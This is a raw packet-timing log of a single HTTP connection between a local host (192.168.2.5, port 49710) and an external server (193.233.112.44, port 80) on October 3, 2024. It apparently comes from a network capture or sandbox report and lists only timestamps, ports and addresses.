Oct 3, 2024 23:17:03.213193893 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.213213921 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.213228941 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.213247061 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.213263035 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.213299036 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.213299990 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.213330030 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.213335037 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.213351011 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.213371038 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.213390112 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.213406086 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.213413954 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.213439941 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.213454008 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.213474035 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.213493109 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.213507891 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.213532925 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.213543892 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.213563919 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.213577986 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.213589907 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.213613033 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.213633060 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.213670015 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.213685989 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.213717937 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.213743925 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.213752985 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.213766098 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.213787079 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.213809013 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.213820934 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.213839054 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.213856936 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.213876963 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.213891029 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.213901043 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.213926077 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.213948965 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.213959932 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.213980913 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.214001894 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.214025974 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.214036942 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.214052916 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.214071035 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.214095116 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.214108944 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.214126110 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.214143991 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.214154959 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.214178085 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.214200020 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.214210033 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.214221954 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.214243889 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.214262009 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.214292049 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.214315891 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.214327097 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.214339972 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.214361906 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.214380980 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.214396000 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.214418888 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.214430094 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.214446068 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.214467049 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.214503050 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.214528084 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.234728098 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.234777927 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.234812975 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.234869003 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.234905005 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.234936953 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.234961987 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.234972954 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.234992981 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.235008001 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.235024929 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.235044003 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.235057116 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.235074997 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.235117912 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.235119104 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.235119104 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.235155106 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.235166073 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.235188961 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.235214949 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.235224962 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.235239029 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.235279083 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.235285044 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.235315084 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.235336065 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.235367060 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.235368013 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.235430002 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.235431910 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.235464096 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.235481977 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.235507011 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.235522032 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.235558987 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.235563993 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.235594988 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.235615015 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.235627890 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.235663891 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.235665083 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.235690117 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.235712051 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.235769987 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.235802889 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.235836029 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.235838890 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.235860109 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.235879898 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.235888004 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.235922098 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.235943079 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.235956907 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.235965967 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.235991001 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.236005068 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.236025095 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.236042023 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.236073017 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.275115967 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.275171041 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.275206089 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.275218010 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.275218010 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.275242090 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.275257111 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.275286913 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.275299072 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.275333881 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.275357962 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.275369883 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.275382042 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.275419950 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.275429964 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.275481939 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.275481939 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.275518894 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.275538921 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.275552034 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.275576115 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.275587082 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.275607109 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.275620937 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.275641918 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.275659084 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.275680065 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.275695086 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.275717020 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.275737047 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.300430059 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.300473928 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.300532103 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.300539970 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.300569057 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.300582886 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.300590992 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.300617933 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.300632954 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.300654888 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.300668001 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.300689936 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.300703049 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.300724983 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.300741911 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.300770998 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.300775051 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.300811052 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.300829887 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.300853968 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.300859928 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.300894976 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.300913095 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.300926924 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.300949097 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.300966978 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.300971031 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.300998926 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.301013947 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.301033020 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.301054001 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.301065922 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.301083088 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.301104069 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.301111937 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.301139116 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.301153898 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.301172972 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.301193953 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.301213980 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.301224947 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.301259995 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.301276922 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.301292896 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.301311970 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.301337004 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.301390886 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.301424980 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.301444054 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.301457882 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.301474094 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.301493883 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.301503897 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.301527977 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.301544905 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.301563025 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.301580906 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.301610947 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.301839113 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.301872015 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.301894903 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.301906109 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.301914930 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.301939011 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.301956892 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.301974058 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.301994085 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.302007914 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.302023888 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.302043915 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.302057028 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.302078962 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.302093983 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.302114010 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.302134037 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.302148104 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.302162886 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.302184105 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.302200079 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.302218914 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.302238941 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.302252054 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.302262068 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.302284956 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.302299976 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.302335024 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.302608013 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.302639961 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.302658081 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.302681923 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.302694082 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.302726984 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.302736998 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.302761078 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.302778006 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.302794933 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.302808046 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.302829027 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.302845001 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.302862883 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.302882910 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.302896023 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.302903891 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.302930117 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.302943945 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.302963972 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.302978992 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.303004026 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.303014994 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.303036928 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.303054094 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.303072929 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.303091049 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.303111076 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.303529024 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.303579092 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.303580046 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.303630114 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.303631067 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.303663969 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.303678036 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.303708076 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.303714991 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.303749084 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.303761959 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.303781033 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.303793907 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.303814888 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.303832054 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.303848028 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.303868055 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.303880930 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.303888083 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.303915024 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.303927898 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.303950071 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.303962946 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.303991079 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.304003000 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.304025888 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.304035902 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.304076910 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.325391054 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.325480938 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.325488091 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.325516939 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.325535059 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.325555086 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.325565100 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.325591087 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.325607061 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.325645924 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.325645924 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.325684071 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.325701952 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.325719118 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.325726986 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.325751066 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.325768948 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.325786114 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.325792074 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.325819969 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.325834990 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.325855017 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.325869083 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.325891972 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.325903893 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.325937033 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.325937986 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.325973988 CEST	80	49710	193.233.112.44	192.168.2.5
